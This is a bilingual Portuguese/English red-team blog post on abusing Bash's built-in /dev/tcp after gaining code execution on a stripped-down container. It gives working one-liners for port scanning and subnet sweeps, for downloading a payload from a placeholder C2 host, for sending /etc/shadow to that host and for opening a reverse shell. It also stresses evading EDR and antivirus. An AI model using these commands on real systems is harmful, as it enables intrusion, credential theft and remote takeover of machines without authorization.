Red Team 2026-03-12 @reeshasx

RECON_WITHOUT_TOOLS: Exploiting /dev/tcp for Stealth Exfiltration

[ 0x00 ] A CENA DO CRIME

Imagine o cenário: você finalmente consegue aquele sonhado RCE (Remote Code Execution) num container ou servidor mal configurado. Você manda aquele whoami e vê que é root. A adrenalina bate. Aí você vai baixar o seu rootkit ou script de exfiltração:

$ wget http://meu-c2.com/payload.sh
bash: wget: command not found
$ curl http://meu-c2.com/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

O dev da empresa foi safo. Ele usou uma imagem Docker mega minimalista (tipo Alpine) e tirou todas as ferramentas úteis. E agora? Você chora? Não, você lembra que o Bash é maravilhoso e tem o /dev/tcp.

[ 0x01 ] MAGIA NEGRA DO KERNEL? NÃO, APENAS BASH

O diretório /dev/tcp não é um arquivo real no Linux. Ele é uma funcionalidade embutida diretamente no shell (Bash). Se você redirecionar dados para /dev/tcp/HOST/PORTA, o Bash magicamente abre um socket de rede pra você.

Vamos brincar de port scanner sem Nmap? Olha como é estupidamente simples testar se a porta 80 tá aberta num alvo:

if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "Porta 80 aberta meu rei"
fi

Faz um loop em for do 1 ao 1024 e você acabou de criar o port scanner mais minimalista do planeta. O Blue Team não vai ver um processo de nmap ou rustscan pipocando nos logs do EDR, só o próprio bash executando redirecionamentos normais.

[ 0x02 ] BAIXANDO ARQUIVOS (O CURL DO PARAGUAI)

Legal, posso escanear. Mas e pra baixar o meu malware? Pra isso, precisamos construir uma requisição HTTP "na mão". HTTP nada mais é do que enviar um texto pedindo um arquivo e ler a resposta.

Usando file descriptors (exec 3<>), a gente abre a conexão de leitura e escrita:

exec 3<>/dev/tcp/meu-c2.com/80
echo -e "GET /payload.sh HTTP/1.1\r\nHost: meu-c2.com\r\nConnection: close\r\n\r\n" >&3
cat <&3 > payload.sh

BUM! Seu payload tá no servidor. Sem usar nenhum binário adicional, usando 100% de funções built-in do shell. A chance de isso ser detectado por um antivírus que só monitora chamadas a ferramentas conhecidas é praticamente zero.

[ 0x03 ] EXFILTRANDO DADOS NO MODO STEALTH

Pegou a senha do banco de dados no /etc/shadow e quer mandar pra você? Inverte o processo. No seu servidor (C2) você deixa um netcat ouvindo: nc -lvnp 4444.

E na máquina vítima:

cat /etc/shadow > /dev/tcp/meu-c2.com/4444

Sim, é só isso. Um comando. Sem dependências, sem frescura. O /dev/tcp é o melhor amigo do hacker pós-exploração.

[ 0x04 ] PING SWEEPS SEM PING

Se o ICMP (ping) está bloqueado pelo firewall de saída, você não consegue mapear a rede interna. Certo? Errado. Você pode usar a mesma técnica da porta 80 para mapear a rede. Ao iterar pelo último octeto do IP (1 a 254) e testar portas comuns como 445 (SMB) ou 22 (SSH), você acha as outras máquinas da rede.

for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "Host 10.0.0.$ip está vivo!" &
done
wait

E como jogamos para background com o &, o scan inteiro da sub-rede /24 termina em menos de 1 segundo.

[ 0x05 ] O CLÁSSICO REVERSE SHELL

Não poderia terminar sem falar do payload mais famoso. Se você quer transformar esse RCE pontual num shell interativo na sua máquina:

bash -i >& /dev/tcp/meu-c2.com/9001 0>&1

Isso redireciona o stdin, stdout e stderr do Bash diretamente para a conexão socket. Você ganha controle total da máquina sem nunca ter "baixado" um binário malicioso. Apenas redirecionamentos mágicos do kernel. Da próxima vez que pegar um shell capado, não se desespere. O shell tem tudo o que você precisa.

[ 0x00 ] THE CRIME SCENE

Picture this: you finally get that sweet RCE (Remote Code Execution) on a misconfigured container or server. You type whoami and see you are root. Adrenaline spikes. Then you try to download your rootkit or exfil script:

$ wget http://my-c2.com/payload.sh
bash: wget: command not found
$ curl http://my-c2.com/payload.sh
bash: curl: command not found
$ nc
bash: nc: command not found

The dev was smart. They used an ultra-minimalist Docker image (like Alpine) and stripped all useful tools. What now? Do you cry? No, you remember that Bash is wonderful and has /dev/tcp.

[ 0x01 ] KERNEL BLACK MAGIC? NO, JUST BASH

The /dev/tcp directory isn't a real file in Linux. It's a feature built directly into the shell (Bash). If you redirect data to /dev/tcp/HOST/PORT, Bash magically opens a network socket for you.

Want to play port scanner without Nmap? Look how stupidly simple it is to test if port 80 is open on a target:

if timeout 1 bash -c '</dev/tcp/10.0.0.5/80' &>/dev/null; then 
    echo "Port 80 is open my king"
fi

Wrap that in a for loop from 1 to 1024 and you just created the most minimalist port scanner on the planet. The Blue Team won't see an nmap or rustscan process popping up in their EDR logs, just the bash shell executing normal file redirections.

[ 0x02 ] DOWNLOADING FILES (THE BOOTLEG CURL)

Cool, I can scan. But what about downloading my malware? For that, we need to build an HTTP request "by hand". HTTP is nothing more than sending some text asking for a file and reading the response.

Using file descriptors (exec 3<>), we open a read/write connection:

exec 3<>/dev/tcp/my-c2.com/80
echo -e "GET /payload.sh HTTP/1.1\r\nHost: my-c2.com\r\nConnection: close\r\n\r\n" >&3
cat <&3 > payload.sh

BOOM! Your payload is on the server. Without using any external binaries, using 100% built-in shell functions. The chance of this being caught by an antivirus that only monitors calls to known tools is practically zero.

[ 0x03 ] STEALTH EXFILTRATION

Grabbed the database password or /etc/shadow and want to send it to yourself? Reverse the process. On your server (C2) you leave a netcat listening: nc -lvnp 4444.

And on the victim machine:

cat /etc/shadow > /dev/tcp/my-c2.com/4444

Yeah, that's it. One command. No dependencies, no fuss. /dev/tcp is a post-exploitation hacker's best friend.

[ 0x04 ] PING SWEEPS WITHOUT PING

If ICMP (ping) is blocked by the outbound firewall, you can't map the internal network. Right? Wrong. You can use the same port 80 technique to map the network. By iterating through the last IP octet (1 to 254) and testing common ports like 445 (SMB) or 22 (SSH), you find the other machines on the network.

for ip in {1..254}; do
    timeout 0.2 bash -c "</dev/tcp/10.0.0.$ip/445" &>/dev/null && echo "Host 10.0.0.$ip is alive!" &
done
wait

And since we throw it to the background with &, the entire /24 subnet scan finishes in less than 1 second.

[ 0x05 ] THE CLASSIC REVERSE SHELL

I couldn't finish without mentioning the most famous payload. If you want to turn that single RCE into an interactive shell on your machine:

bash -i >& /dev/tcp/my-c2.com/9001 0>&1

This redirects the stdin, stdout and stderr of Bash directly to the socket connection. You gain full control of the machine without ever "downloading" a malicious binary. Just magical kernel redirections. Next time you land on a restricted shell, don't despair. The shell has everything you need.